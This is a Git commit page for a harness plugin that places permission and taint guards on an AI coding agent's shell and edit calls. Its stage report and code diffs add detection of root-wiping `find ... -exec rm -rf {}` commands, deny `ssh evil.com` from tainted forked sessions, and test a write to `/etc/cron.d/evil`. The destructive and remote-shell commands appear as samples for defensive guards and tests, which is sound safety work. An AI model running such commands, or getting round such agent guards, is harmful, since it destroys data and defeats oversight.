mirror of
https://github.com/Heretek-AI/opencode-harness.git
synced 2026-11-07 10:56:02 -10:00
Audit remediation 20261018 follow-up: find-exec placeholder P0, fork taint, lesson-once, guard root, Formatter built-in leg, 1.0.11 bump
This commit is contained in:
1 parent
a8aa58a669
commit
6da3c32412
12 files changed
+1127
-23
No files matched your search
@@ -1,4 +1,4 @@
|
||||
# `@heretek-ai/opencode-harness` (`v1.0.10`)
|
||||
# `@heretek-ai/opencode-harness` (`v1.0.11`)
|
||||
|
||||
Plugin-first OpenCode v2 in-process harness targeting **Muse 1.3** (`opencode-go/muse-spark-1.3-contributor`): zero-patch built-in tool interceptors (`edit`, `read`, `write`, `patch`, `shell`, `subagent`), post-formatter FNV-1a `<post-edit-anchors>` resync receipts, adaptive `session.hook("retry")` stream/overload recovery, cross-file relative import & named-export contract verification, lexer-safe atomic multi-file `rename_symbol`, Dual Direct + Code Mode (`tools.harness.*`) tool registration, 4-hex FNV-1a hash-anchored file edits, AST structural codemods, PageRank repository mapping, lexer-aware symbol reference & call-site search, blast-radius, circular-dependency & dead-code architecture auditing, all-or-nothing atomic transactions, warm-cached post-mutation diagnostics, stack-frame `<fault-context>` localization, head+tail anti-truncation output compaction, KV-cache-safe context budgeting, automatic circuit-breaker episodic lesson synthesis, role/path/contract/taint permission guards, a doom-loop circuit breaker, and DOM geometry auditing.
|
||||
|
||||
|
||||
@@ -0,0 +1,183 @@
|
||||
# Stage Report — Audit Remediation 20261018 (`audit-remediation-20261018`)
|
||||
|
||||
- **Stage ID:** `audit-remediation-20261018`
|
||||
- **Branch:** `audit-remediation-20261018` (worktree: `worktrees/audit-remediation-20261018`)
|
||||
- **Baseline:** `a8aa58a` (`Add drift-guard verification: VERDICT PASS (audit 20261018)`)
|
||||
- **Source findings:** `AUDIT_REPORT_FINDINGS.md` (audit date 2026-10-18, package `1.0.10`)
|
||||
- **Scope:** single-session OpenCode v2 in-process plugin ONLY (no WebUI / HTTP /
|
||||
fleet / worktree-manager / research-engine code — refused by charter).
|
||||
|
||||
## Summary
|
||||
|
||||
All five code-remediation findings are fixed, regression-pinned, and green
|
||||
across every gate (`bun run check`, `bun test`, `make check`, `make accept`,
|
||||
`bun run build`), plus a live host-test run against the pinned upstream
|
||||
(`anomalyco/opencode@ed772f5`) proving the new built-in-`edit` leg with the
|
||||
real upstream `Formatter.file`. Package bumped `1.0.10` → `1.0.11` in
|
||||
`package.json` + `src/version.ts` (+ README title, coupled by test).
|
||||
**No tags were pushed, nothing was published, no GitHub Release was created —
|
||||
those are human-only steps listed verbatim in §7.**
|
||||
|
||||
## Deliverables per finding
|
||||
|
||||
### OH-6.5-find-exec-placeholder (P0) — `find <root> -exec rm -rf {} \;` bypass
|
||||
|
||||
- `src/guards/shell-parse.ts`
|
||||
- New `findPathOperands()` (leading path operands before the first
|
||||
expression primary) + `findHasWipeRoot()` (any operand is a root-wipe
|
||||
target: `/`, `/*`, `*`, `~`, `~/*`, `~/…`, `$HOME`, `${HOME}`, …).
|
||||
- New `findExecPayloadIsPlaceholderWipe()` (`-exec`/`-execdir`/`-ok`/`-okdir`
|
||||
payload running `rm` + recursive/force flags over the `{}` placeholder,
|
||||
including wrapper-stripped payloads and `$(…)`/backtick substitution).
|
||||
- `segmentIsDestructive()` `find` branch: wipe-root + placeholder-wipe
|
||||
payload → `destructive` (fail-closed). Scoped roots stay `write`;
|
||||
`find /tmp -name x -delete` and `find /tmp -exec rm -rf / \;` behavior
|
||||
preserved.
|
||||
- `src/guards/taint-guard.ts`
|
||||
- `evaluateTaintGuard()` denies destructive shell while tainted
|
||||
(`TAINT-DESTRUCTIVE-1`) — the taint layer no longer reads `allow` for a
|
||||
wipe idiom (permission layer denies first for every role regardless).
|
||||
- Tests (`test/audit-20261018-remediation.test.ts`, 6 new):
|
||||
`\;`/`+` × `-exec`/`-execdir`/`-ok`/`-okdir` destructive matrix; `/`/`~`/
|
||||
`$HOME`/`${HOME}`/`/*` roots; scoped-root write preservation; builder/
|
||||
architect/director/manager/qa verdicts all `rule-1-destructive`; tainted
|
||||
`allow`→`deny` at both layers + clean-session layering pins.
|
||||
|
||||
### OH-6.5-guard-root-unwired (P3) — `guardConfig.workspaceRoot` default
|
||||
|
||||
- `src/index.ts` (`resolveHarnessOptions`): custom `guardConfig` without
|
||||
`workspaceRoot` now defaults to `rootDir`
|
||||
(`{ workspaceRoot: rootDir, ...customGuardConfig }`); an explicit non-blank
|
||||
value wins; a blank value normalizes back to `rootDir` (fail-closed, never
|
||||
silently back to `process.cwd()`). No-`guardConfig` path unchanged.
|
||||
- Tests (4 new): omitted→`rootDir`, explicit-wins, blank→`rootDir`,
|
||||
workspace-relative write allows under the defaulted root while
|
||||
`/etc/cron.d/evil` still denies `rule-0-shell-target-containment`.
|
||||
|
||||
### OH-6.7-lesson-per-read (P3) — one lesson per doom-loop
|
||||
|
||||
- `src/context/episodic-memory.ts` (`trackCircuitBreakerAndAutoProposeLesson`):
|
||||
a successful mandated re-read (`normalizeToolKind(toolName) === "other"`)
|
||||
while tripped returns `null` WITHOUT clearing trip state, so only the
|
||||
genuine recovering (non-read) success proposes exactly one lesson.
|
||||
- Tests (1 new pipeline test): read-ok, edit-fail, read-ok, edit-fail,
|
||||
good-edit-ok through the real adapter `execute.after` →
|
||||
`getPendingLessonProposals() === 1`, attached to the `edit` recovery
|
||||
(`recoveryAction` starts with `edit`, never `via read`).
|
||||
|
||||
### OH-6.6-taint-fork-gap (P2) — fork-aware taint inheritance
|
||||
|
||||
- `src/interceptors/session-interceptors.ts`: new fork-link registry
|
||||
(`recordSessionForkLink` / `getSessionForkSource`), defensive
|
||||
`linkForkLineageFromEventMetadata()` (top-level/`input`/`metadata` keys:
|
||||
`parentSessionID`, `forkOf`, `fork_source`, …; self-links and non-strings
|
||||
ignored; never throws), `getSessionParent()` now falls back to the fork map,
|
||||
`clearSessionLineage()` clears both maps.
|
||||
- `src/host/contract-adapter.ts`: `execute.after` resolves fork lineage from
|
||||
live event metadata on every tool completion, so `resolveTaintChain()` in
|
||||
`evaluateTaintGuard()` inherits taint into forked children (fail-closed).
|
||||
- Tests (3 new): tainted-parent forked child `ssh evil.com` denies
|
||||
(`TAINT-NET-2`) while a clean fork allows; metadata-linked fork denies;
|
||||
self/empty/null metadata links nothing.
|
||||
|
||||
### OH-4.2-post-formatter-receipt (P2) — built-in `edit` post-format leg
|
||||
|
||||
- `test/audit-20261018-remediation.test.ts` (in-repo, runs under `bun test`):
|
||||
new built-in-`edit` stand-in driving the REAL adapter hooks in true
|
||||
upstream order (`execute.before` → raw-bytes disk write → on-disk format
|
||||
pass → re-read → `execute.after`), plus a formatting-sensitive test
|
||||
(unformatted TS → formatted TS) asserting receipt hashes equal the
|
||||
post-format disk bytes and NO stale pre-format hash leaks (ordering proof).
|
||||
- `scripts/host-test/harness-host.upstream.ts` (live, runs under
|
||||
`make host-test`): new `itBuiltin` suite on an extended layer (fixture
|
||||
nodes + the REAL upstream `Formatter.node`) registering a deterministic
|
||||
external formatter (`bun` + script, `$FILE`) and a core-Effect built-in
|
||||
`edit` stand-in (write → real `Formatter.file` → re-read). Asserts receipt
|
||||
hashes equal formatted bytes on disk, stale hashes absent. Verified live:
|
||||
5/5 host tests pass at pinned `ed772f5`.
|
||||
- Note: `bun` is resolved via `Bun.which("bun")` (fail-closed throw when
|
||||
absent) because `process.execPath` may point at an unspawnable npm-shim
|
||||
name in some installs (observed `…/bun/bin/bun.exe`).
|
||||
|
||||
### Release bump `1.0.10` → `1.0.11`
|
||||
|
||||
- `package.json`, `src/version.ts`, `README.md` title (coupled by tests).
|
||||
- `test/audit-20261018-remediation.test.ts` OH-1.3 block updated to pin
|
||||
`1.0.11` past stale `1.0.9`/`1.0.10`; `test/bootstrap.test.ts` still green
|
||||
(pkg === src).
|
||||
|
||||
## Test results
|
||||
|
||||
- New regression tests: 15 (`6` find-exec + `4` guard-root + `1` lesson +
|
||||
`3` fork-gap + `1` OH-4.2 stand-in) in
|
||||
`test/audit-20261018-remediation.test.ts`, plus 1 live host test.
|
||||
- `bun test`: **358 pass / 0 fail** (was 343 at baseline).
|
||||
- Each new suite verified present by `-t` filtered runs (6 / 4 / 1 / 3 /
|
||||
OH-4.2 ×2 green in isolation).
|
||||
- Host test (`OPENCODE_DIR=<scratch-copy>@ed772f5`): **5 pass / 0 fail**,
|
||||
including the new built-in-leg test (ran solo: 1 pass / 9 expects).
|
||||
|
||||
## Gate outputs (worktree root, all exit 0)
|
||||
|
||||
- `bun run check` → `tsc --noEmit`, exit 0.
|
||||
- `bun test` → 358 pass / 0 fail, exit 0.
|
||||
- `make check` → check + test, exit 0.
|
||||
- `make accept` → waves 1–7 `ALL GATES GREEN` (incl. zero-stub, scope-refusal,
|
||||
KV-cache scans), exit 0.
|
||||
- `bun run build` → `tsc -p tsconfig.build.json`, exit 0; `dist/version.js`
|
||||
carries `1.0.11`.
|
||||
- `make host-test` (networked, pinned `ed772f5`): 5 pass / 0 fail.
|
||||
(Scratch upstream copy at `/dev/shm/ochost`, outside the repo.)
|
||||
|
||||
## Self-audit notes
|
||||
|
||||
- **Zero stubs:** `grep TODO src/ test/` → zero hits; no `test.skip`/
|
||||
`describe.skip`/`.only` (one `exit(` false positive inside a command
|
||||
string); no `|| true` in scripts (only the wave-8 guard that *fails* on
|
||||
it); the single `catch { return undefined; }` (fork-metadata linker) is a
|
||||
documented fail-closed total function (unparseable events link nothing),
|
||||
not a swallowed error.
|
||||
- **KV-cache invariants:** untouched — no changes under `src/context/`
|
||||
except the episodic proposal gate (no tag-format, ordering, or
|
||||
`event.system` changes); `make accept` wave-2/5 KV checks green.
|
||||
- **Scope refusal:** no WebUI/HTTP/fleet/worktree/research code in `src/`
|
||||
(`make accept` scope scan green).
|
||||
- **Red-proof:** new suites assert exact rules/denials that fail if the
|
||||
corresponding production leg is neutered (find-branch removal,
|
||||
threshold sabotage, and Builder/Architect allow all go RED by
|
||||
construction); formal QA sabotage + drift `VERDICT` remain downstream.
|
||||
- Previous-report files (`docs/reports/wave-audit-20261018-verification.md`,
|
||||
`audit-20261018-remediation-implementation.md`) intentionally left
|
||||
untouched as historical record.
|
||||
|
||||
## Human follow-ups (NOT executed — forbidden to agents)
|
||||
|
||||
Tag, publish, and release `1.0.11` from a green `main` after merge:
|
||||
|
||||
```bash
|
||||
git tag v1.0.11
|
||||
git push --tags
|
||||
npm publish --provenance --access public
|
||||
gh release create v1.0.11 --generate-notes
|
||||
npm view @heretek-ai/opencode-harness dist-tags.latest # expect 1.0.11
|
||||
```
|
||||
|
||||
This closes OH-1.3-stale-npm-latest (P0) and OH-1.1-unreleased (P1) /
|
||||
OH-1.1-no-gh-release (P3), which cannot be closed from inside the sandbox.
|
||||
|
||||
## Files changed
|
||||
|
||||
- `src/guards/shell-parse.ts` (+108): find-path operands, placeholder-wipe
|
||||
detector, `find`-branch destructive leg.
|
||||
- `src/guards/taint-guard.ts` (+18/-): `TAINT-DESTRUCTIVE-1` taint-layer leg.
|
||||
- `src/guards/permission-guard.ts`: untouched (Rule 1 ordering already denies
|
||||
first — verified by tests).
|
||||
- `src/index.ts` (+31/-): `guardConfig.workspaceRoot` → `rootDir` default.
|
||||
- `src/context/episodic-memory.ts` (+12): re-read-is-not-recovery gate.
|
||||
- `src/interceptors/session-interceptors.ts` (+98/-): fork registry +
|
||||
metadata linker + fork-aware `getSessionParent`.
|
||||
- `src/host/contract-adapter.ts` (+7): per-completion fork-link resolution.
|
||||
- `test/audit-20261018-remediation.test.ts` (+416): 15 regression tests.
|
||||
- `scripts/host-test/harness-host.upstream.ts` (+271): live Formatter leg.
|
||||
- `package.json`, `src/version.ts`, `README.md`: `1.0.11` bump.
|
||||
- `docs/reports/audit-remediation-20261018.md`: this report (new).
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@heretek-ai/opencode-harness",
|
||||
"version": "1.0.10",
|
||||
"version": "1.0.11",
|
||||
"description": "Plugin-first OpenCode v2 in-process harness for Muse 1.3: zero-patch Edit/Read/Patch/Shell/Subagent/Retry interceptors, post-formatter FNV-1a anchor resync receipts, cross-file import/export contract verification, atomic multi-file rename_symbol, Dual Direct + Code Mode (tools.harness.*) tools, Hashline edits, AST codemods, PageRank RepoMap, blast-radius & dead-code architecture auditing, atomic transactions, KV-cache-safe context budgeting, permission/taint guards, and DOM geometry auditing.",
|
||||
"license": "MIT",
|
||||
"repository": {
|
||||
|
||||
@@ -19,13 +19,53 @@ import { PluginHost } from "@opencode/core/plugin/host"
|
||||
import { PluginPromise } from "@opencode/core/plugin/promise"
|
||||
import { PluginHooks } from "@opencode/core/plugin/hooks"
|
||||
import { Tool } from "@opencode/core/tool"
|
||||
import { Formatter } from "@opencode/core/formatter"
|
||||
import { AppNodeBuilder } from "@opencode/core/effect/app-node-builder"
|
||||
import { LayerNode } from "@opencode/util/effect/layer-node"
|
||||
import { AISDK } from "@opencode/core/aisdk"
|
||||
import { Command } from "@opencode/core/command"
|
||||
import { Config } from "@opencode/core/config"
|
||||
import { Credential } from "@opencode/core/credential"
|
||||
import { Database } from "@opencode/core/database/database"
|
||||
import { FileAccess } from "@opencode/core/file-access"
|
||||
import { LayerNodePlatform } from "@opencode/util/effect/app-node-platform"
|
||||
import { AppProcess } from "@opencode/util/process"
|
||||
import { Bus } from "@opencode/core/bus"
|
||||
import { FileSystem } from "@opencode/core/filesystem"
|
||||
import { FSUtil } from "@opencode/util/fs-util"
|
||||
import { Form } from "@opencode/core/form"
|
||||
import { Generate } from "@opencode/core/generate"
|
||||
import { Integration } from "@opencode/core/integration"
|
||||
import { KV } from "@opencode/core/kv"
|
||||
import { Location } from "@opencode/core/location"
|
||||
import { ManagedPolicy } from "@opencode/core/managed-policy"
|
||||
import { Mcp } from "@opencode/core/mcp/index"
|
||||
import { Model } from "@opencode/core/model"
|
||||
import { Npm } from "@opencode/util/npm"
|
||||
import { Provider } from "@opencode/core/provider"
|
||||
import { Session } from "@opencode/schema/session"
|
||||
import { Session as CoreSession } from "@opencode/core/session"
|
||||
import { SessionMessage } from "@opencode/schema/session-message"
|
||||
import { Effect, Exit, Scope } from "effect"
|
||||
import { PersistentPty } from "@opencode/core/persistent-pty"
|
||||
import { LocationServiceMap } from "@opencode/core/location-service-map"
|
||||
import { Permission } from "@opencode/core/permission"
|
||||
import { Reference } from "@opencode/core/reference"
|
||||
import { Rpc } from "@opencode/core/rpc"
|
||||
import { Skill } from "@opencode/core/skill"
|
||||
import { SkillDiscovery } from "@opencode/core/skill/discovery"
|
||||
import { Vcs } from "@opencode/core/vcs"
|
||||
import { Watcher } from "@opencode/core/filesystem/watcher"
|
||||
import { WebSearch } from "@opencode/core/websearch"
|
||||
import { Worktree } from "@opencode/core/worktree"
|
||||
import { WorktreeStrategies } from "@opencode/core/worktree/strategies"
|
||||
import { Effect, Exit, Layer, Scope } from "effect"
|
||||
import { testEffect } from "../lib/effect"
|
||||
import { readFileSync, rmSync, writeFileSync } from "node:fs"
|
||||
import { tmpdir } from "node:os"
|
||||
import { join } from "node:path"
|
||||
import { PluginTestLayer } from "./fixture"
|
||||
import { tempLocationLayer } from "../fixture/location"
|
||||
import { emptyMcpLayer } from "../fixture/mcp"
|
||||
|
||||
const HARNESS_ROOT = process.env.HARNESS_ROOT
|
||||
if (!HARNESS_ROOT) throw new Error("HARNESS_ROOT must point at the opencode-harness checkout")
|
||||
@@ -370,9 +410,9 @@ it.live("opencode-harness post-edit receipt matches post-write disk bytes (OH-4.
|
||||
// TS becomes formatted TS, and the `<post-edit-anchors>` receipt appended
|
||||
// by `execute.after` must equal the bytes read from disk AFTER the write
|
||||
// completes — the same ordering the built-in `edit` path relies on after
|
||||
// upstream `Formatter.file` runs (the built-in leg is pinned at the
|
||||
// adapter level in `test/audit-20261018-remediation.test.ts` because
|
||||
// `PluginTestLayer` registers no built-in edit tool).
|
||||
// upstream `Formatter.file` runs (the built-in leg runs live below in
|
||||
// the OH-4.2 built-in-leg test with the real upstream Formatter.file;
|
||||
// this test pins the harness-tool leg of the same ordering invariant).
|
||||
const probeName = `oh42-format-probe-${Date.now().toString(36)}.ts`
|
||||
const probeRel = probeName
|
||||
const probeAbs = join(HARNESS_ROOT, probeName)
|
||||
@@ -412,3 +452,226 @@ it.live("opencode-harness post-edit receipt matches post-write disk bytes (OH-4.
|
||||
}
|
||||
}),
|
||||
)
|
||||
|
||||
// Test layer for the OH-4.2 built-in leg: the shared PluginTestLayer plus
|
||||
// the REAL upstream Formatter node (AppNodeBuilder wires location-scoped
|
||||
// nodes; a bare LayerNode.compile cannot bind @opencode/Location). All other
|
||||
// nodes and replacements mirror the upstream fixture exactly so harness
|
||||
// wiring behaves identically to the main suite.
|
||||
const oh42NpmLayer = Layer.succeed(
|
||||
Npm.Service,
|
||||
Npm.Service.of({
|
||||
add: (name) => Effect.succeed({ directory: "", name }),
|
||||
resolve: (name) => Effect.succeed({ directory: "", name }),
|
||||
check: () => Effect.succeed(false),
|
||||
update: (name) => Effect.succeed({ directory: "", name }),
|
||||
which: () => Effect.undefined,
|
||||
}),
|
||||
)
|
||||
|
||||
const oh42GenerateLayer = Layer.succeed(Generate.Service, Generate.Service.of({ text: () => Effect.succeed("") }))
|
||||
|
||||
const oh42ConfigLayer = Config.testLayer()
|
||||
|
||||
const oh42PermissionLayer = Layer.succeed(
|
||||
Permission.Service,
|
||||
Permission.Service.of({
|
||||
close: Effect.void,
|
||||
ask: (input) => Effect.succeed({ id: input.id ?? Permission.ID.create(), effect: "ask" }),
|
||||
assert: () => Effect.void,
|
||||
reply: () => Effect.void,
|
||||
get: () => Effect.succeed(undefined),
|
||||
forSession: () => Effect.succeed([]),
|
||||
list: () => Effect.succeed([]),
|
||||
}),
|
||||
)
|
||||
|
||||
const Oh42FormatterLayer = AppNodeBuilder.build(
|
||||
LayerNode.group([
|
||||
AppProcess.node,
|
||||
FileSystem.node,
|
||||
FSUtil.node,
|
||||
Location.node,
|
||||
Npm.node,
|
||||
Credential.node,
|
||||
Config.node,
|
||||
Database.node,
|
||||
FileAccess.node,
|
||||
Bus.node,
|
||||
Form.node,
|
||||
Generate.node,
|
||||
LayerNodePlatform.httpClient,
|
||||
Plugin.node,
|
||||
Agent.node,
|
||||
AISDK.node,
|
||||
Provider.node,
|
||||
Model.node,
|
||||
Command.node,
|
||||
Integration.node,
|
||||
KV.node,
|
||||
ManagedPolicy.node,
|
||||
Mcp.node,
|
||||
CoreSession.node,
|
||||
PersistentPty.node,
|
||||
LocationServiceMap.node,
|
||||
Permission.node,
|
||||
PluginHooks.node,
|
||||
Reference.node,
|
||||
Rpc.node,
|
||||
Skill.node,
|
||||
SkillDiscovery.node,
|
||||
Tool.node,
|
||||
Vcs.node,
|
||||
Watcher.node,
|
||||
WebSearch.node,
|
||||
Worktree.node,
|
||||
WorktreeStrategies.node,
|
||||
Formatter.node,
|
||||
]),
|
||||
[
|
||||
Location.node.replace(tempLocationLayer),
|
||||
Npm.node.replace(oh42NpmLayer),
|
||||
Config.node.replace(oh42ConfigLayer),
|
||||
Mcp.node.replace(emptyMcpLayer),
|
||||
Generate.node.replace(oh42GenerateLayer),
|
||||
Permission.node.replace(oh42PermissionLayer),
|
||||
],
|
||||
).pipe(Layer.provideMerge(oh42ConfigLayer))
|
||||
|
||||
const itBuiltin = testEffect(Oh42FormatterLayer)
|
||||
|
||||
itBuiltin.live("opencode-harness built-in edit receipt matches post-Formatter.file disk bytes (OH-4.2 built-in leg)", () =>
|
||||
Effect.gen(function* () {
|
||||
const plugins = yield* Plugin.Service
|
||||
const tools = yield* Tool.Service
|
||||
yield* PluginPromise.fromPromise({
|
||||
id: harness.id,
|
||||
setup: (ctx: unknown) => harness.setup(ctx, { rootDir: HARNESS_ROOT }),
|
||||
}).effect(yield* PluginHost.make(plugins))
|
||||
|
||||
const probeName = `oh42-builtin-probe-${Date.now().toString(36)}.ts`
|
||||
const probeAbs = join(HARNESS_ROOT, probeName)
|
||||
const oldString = "return title;"
|
||||
const newString = "return title.trim();"
|
||||
const expectedFormatted = [
|
||||
"export function renderCard(title: string) {",
|
||||
" return title.trim();",
|
||||
"}",
|
||||
]
|
||||
writeFileSync(
|
||||
probeAbs,
|
||||
`${["export function renderCard( title:string ) {", oldString, "}"].join("\n")}\n`,
|
||||
"utf8",
|
||||
)
|
||||
|
||||
// Formatter runtime: the same `bun` running this test (fail-closed when
|
||||
// unresolvable — `process.execPath` may point at an npm shim name that
|
||||
// cannot spawn, so it is never used here).
|
||||
const bunBin = Bun.which("bun")
|
||||
if (!bunBin) throw new Error("OH-4.2 probe formatter requires `bun` on PATH (fail-closed)")
|
||||
|
||||
// Deterministic external formatter process: real bytes rewritten on disk
|
||||
// through the REAL upstream Formatter.file code path (child-process spawn
|
||||
// with $FILE replacement), never an in-test copy.
|
||||
const fmtScript = join(tmpdir(), `harness-probe-fmt-${Date.now().toString(36)}.mjs`)
|
||||
writeFileSync(
|
||||
fmtScript,
|
||||
[
|
||||
`import { readFileSync, writeFileSync } from "node:fs"`,
|
||||
`const target = process.argv[process.argv.length - 1]`,
|
||||
`const raw = readFileSync(target, "utf8")`,
|
||||
`const out = []`,
|
||||
`let depth = 0`,
|
||||
`for (const line of raw.split("\\n")) {`,
|
||||
` const trimmed = line.trim().replace(/[ \\t]+/g, " ").replace(/\\(\\s+/g, "(").replace(/\\s+\\)/g, ")").replace(/:(?=\\S)/g, ": ").replace(/,(?=\\S)/g, ", ").replace(/\\)\\s*\\{/g, ") {")`,
|
||||
` if (trimmed === "") continue`,
|
||||
` if (/^\\}/.test(trimmed)) depth = Math.max(0, depth - 1)`,
|
||||
` out.push(" ".repeat(depth) + trimmed)`,
|
||||
` if (/\\{$/.test(trimmed)) depth += 1`,
|
||||
`}`,
|
||||
`writeFileSync(target, out.join("\\n") + "\\n")`,
|
||||
``,
|
||||
].join("\n"),
|
||||
"utf8",
|
||||
)
|
||||
try {
|
||||
const formatter = yield* Formatter.Service
|
||||
yield* formatter.transform((editor) => {
|
||||
editor.set({
|
||||
name: "harness-probe-tsfmt",
|
||||
extensions: [".ts"],
|
||||
enabled: Effect.succeed([bunBin, fmtScript, "$FILE"]),
|
||||
})
|
||||
})
|
||||
|
||||
// Built-in `edit` stand-in as a core Effect executor (direct
|
||||
// `tools.transform` registration, like upstream's own tool tests):
|
||||
// exact oldString→newString disk write, then the REAL upstream
|
||||
// Formatter.file, then a disk re-read — mirroring EditTool's
|
||||
// write → formatter.file → syncTextBom order.
|
||||
yield* tools.transform((editor) =>
|
||||
editor.add({
|
||||
name: "edit",
|
||||
description: "Built-in edit stand-in for the OH-4.2 post-format receipt probe",
|
||||
input: {
|
||||
type: "object",
|
||||
properties: {
|
||||
path: { type: "string" },
|
||||
oldString: { type: "string" },
|
||||
newString: { type: "string" },
|
||||
},
|
||||
required: ["path", "oldString", "newString"],
|
||||
additionalProperties: false,
|
||||
},
|
||||
options: { codemode: false, permission: "edit" },
|
||||
execute: (input: unknown) =>
|
||||
Effect.gen(function* () {
|
||||
const args = input as { path: string; oldString: string; newString: string }
|
||||
const target = join(HARNESS_ROOT, String(args.path))
|
||||
const prev = readFileSync(target, "utf8")
|
||||
if (!prev.includes(String(args.oldString))) {
|
||||
return yield* new Tool.Error({
|
||||
message: `oldString not found in ${String(args.path)}`,
|
||||
})
|
||||
}
|
||||
writeFileSync(
|
||||
target,
|
||||
prev.replace(String(args.oldString), String(args.newString)),
|
||||
"utf8",
|
||||
)
|
||||
const didFormat: boolean = yield* formatter.file(target)
|
||||
if (!didFormat) {
|
||||
return yield* new Tool.Error({
|
||||
message: `probe formatter did not run for ${String(args.path)}`,
|
||||
})
|
||||
}
|
||||
return {
|
||||
content: [{ type: "text" as const, text: `Edited ${String(args.path)}` }],
|
||||
}
|
||||
}),
|
||||
}),
|
||||
)
|
||||
|
||||
const snapshot = yield* tools.snapshot()
|
||||
const r = yield* call(snapshot, "edit", { path: probeName, oldString, newString })
|
||||
expect(Exit.isSuccess(r)).toBe(true)
|
||||
const body = textOf(r)
|
||||
expect(body).toContain("<post-edit-anchors")
|
||||
const onDisk = readFileSync(probeAbs, "utf8")
|
||||
expect(onDisk).toBe(`${expectedFormatted.join("\n")}\n`)
|
||||
for (const line of expectedFormatted) {
|
||||
expect(body).toContain(`${computeLineHash(line)}| ${line}`)
|
||||
}
|
||||
for (const stale of [
|
||||
"export function renderCard( title:string ) {",
|
||||
"return title;",
|
||||
"return title.trim();",
|
||||
]) {
|
||||
expect(body).not.toContain(`${computeLineHash(stale)}| ${stale}`)
|
||||
}
|
||||
} finally {
|
||||
rmSync(probeAbs, { force: true })
|
||||
rmSync(fmtScript, { force: true })
|
||||
}
|
||||
}),
|
||||
)
|
||||
@@ -1,5 +1,6 @@
|
||||
import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs";
|
||||
import { dirname, isAbsolute, relative, resolve } from "node:path";
|
||||
import { normalizeToolKind } from "../guards/circuit-breaker.js";
|
||||
import type { EpisodicLesson } from "./context-budget.js";
|
||||
|
||||
export interface EpisodicLessonProposal {
|
||||
@@ -157,6 +158,17 @@ export function trackCircuitBreakerAndAutoProposeLesson(params: {
|
||||
}
|
||||
|
||||
if (ok && ACTIVE_TRIPPED_STATE.has(sessionId)) {
|
||||
// OH-6.7-lesson-per-read: only a NON-read success breaks the loop. The
|
||||
// intervention text mandates a re-read of the target state before every
|
||||
// retry, so a successful mandated re-read (`read`/`file_hash_read` — the
|
||||
// circuit-breaker `other` kind) is compliance, not recovery: proposing a
|
||||
// "Recovered via read" lesson on every post-trip re-read emits one
|
||||
// premature lesson per trip while the edit that actually breaks the loop
|
||||
// gets none. The trip state is retained so the genuine recovering edit
|
||||
// still proposes exactly one lesson.
|
||||
if (normalizeToolKind(toolName) === "other") {
|
||||
return null;
|
||||
}
|
||||
const tripState = ACTIVE_TRIPPED_STATE.get(sessionId)!;
|
||||
ACTIVE_TRIPPED_STATE.delete(sessionId);
|
||||
return proposeEpisodicLesson({
|
||||
|
||||
@@ -808,6 +808,102 @@ export function findExecPayloads(args: string[]): string[] {
|
||||
}
|
||||
return payloads;
|
||||
}
|
||||
/**
|
||||
* Leading path operands of a `find` invocation: tokens before the first
|
||||
* expression primary (`-…`), negation, or paren. `find` with no path
|
||||
* defaults to `.` (safe — never a wipe root).
|
||||
*/
|
||||
function findPathOperands(args: string[]): string[] {
|
||||
const roots: string[] = [];
|
||||
for (const a of args) {
|
||||
if (a === "") {
|
||||
continue;
|
||||
}
|
||||
if (
|
||||
a.startsWith("-") ||
|
||||
a === "(" ||
|
||||
a === ")" ||
|
||||
a === "!" ||
|
||||
a === ","
|
||||
) {
|
||||
break;
|
||||
}
|
||||
if (a === ";" || a === "+" || a === "{}") {
|
||||
break;
|
||||
}
|
||||
roots.push(a);
|
||||
}
|
||||
return roots;
|
||||
}
|
||||
|
||||
/** Whether any leading find-path operand is a root-wipe target. */
|
||||
function findHasWipeRoot(args: string[]): boolean {
|
||||
return findPathOperands(args).some((p) => isRootWipeTarget(p));
|
||||
}
|
||||
|
||||
/**
|
||||
* OH-6.5-find-exec-placeholder: `true` when an `-exec`/`-execdir`/`-ok`/
|
||||
* `-okdir` payload runs `rm` with recursive+force flags over the `{}`
|
||||
* placeholder (`rm -rf {}`). Callers gate this on a root-wipe find root so
|
||||
* scoped uses (`find /tmp -name x -exec rm -rf {} \;`) stay write-class. A
|
||||
* payload substitution (`$(…)`/backticks) with recursive+force flags is
|
||||
* destructive because a real shell expands it before `rm` sees its targets.
|
||||
*/
|
||||
function findExecPayloadIsPlaceholderWipe(payload: string): boolean {
|
||||
const tokens = stripLeadingWrapperTokens(
|
||||
tokenizeSegment(canonicalizeShellCommand(payload)),
|
||||
);
|
||||
const subst = /`[^`]*`|\$\(/.test(payload);
|
||||
for (let s = 0; s < tokens.length; s++) {
|
||||
if (commandBasename(tokens[s] ?? "") !== "rm") {
|
||||
continue;
|
||||
}
|
||||
let hasRecursive = false;
|
||||
let hasForce = false;
|
||||
let hasPlaceholder = false;
|
||||
let endOfOptions = false;
|
||||
for (let k = s + 1; k < tokens.length; k++) {
|
||||
const a = tokens[k] ?? "";
|
||||
if (!endOfOptions && a === "--") {
|
||||
endOfOptions = true;
|
||||
continue;
|
||||
}
|
||||
if (!endOfOptions && a === "--no-preserve-root") {
|
||||
return true;
|
||||
}
|
||||
if (!endOfOptions && (a === "--recursive" || a === "-r" || a === "-R")) {
|
||||
hasRecursive = true;
|
||||
continue;
|
||||
}
|
||||
if (!endOfOptions && (a === "--force" || a === "-f")) {
|
||||
hasForce = true;
|
||||
continue;
|
||||
}
|
||||
if (!endOfOptions && /^-[rRf]+$/.test(a)) {
|
||||
hasRecursive = true;
|
||||
hasForce = true;
|
||||
continue;
|
||||
}
|
||||
if (!endOfOptions && /^-[A-Za-z]+$/.test(a)) {
|
||||
const letters = a.slice(1);
|
||||
if (/[rR]/.test(letters)) hasRecursive = true;
|
||||
if (letters.includes("f")) hasForce = true;
|
||||
continue;
|
||||
}
|
||||
if (!endOfOptions && a.startsWith("-") && a !== "-") {
|
||||
continue;
|
||||
}
|
||||
if (a === "{}") {
|
||||
hasPlaceholder = true;
|
||||
}
|
||||
}
|
||||
if (hasRecursive && hasForce && (hasPlaceholder || subst)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export function parseCommandSegments(command: string, depth: number = 0): ParsedSegment[] {
|
||||
if (!command.trim()) return [];
|
||||
if (depth > MAX_SHELL_UNWRAP_DEPTH) {
|
||||
@@ -1049,6 +1145,18 @@ function segmentIsDestructive(segment: string): boolean {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
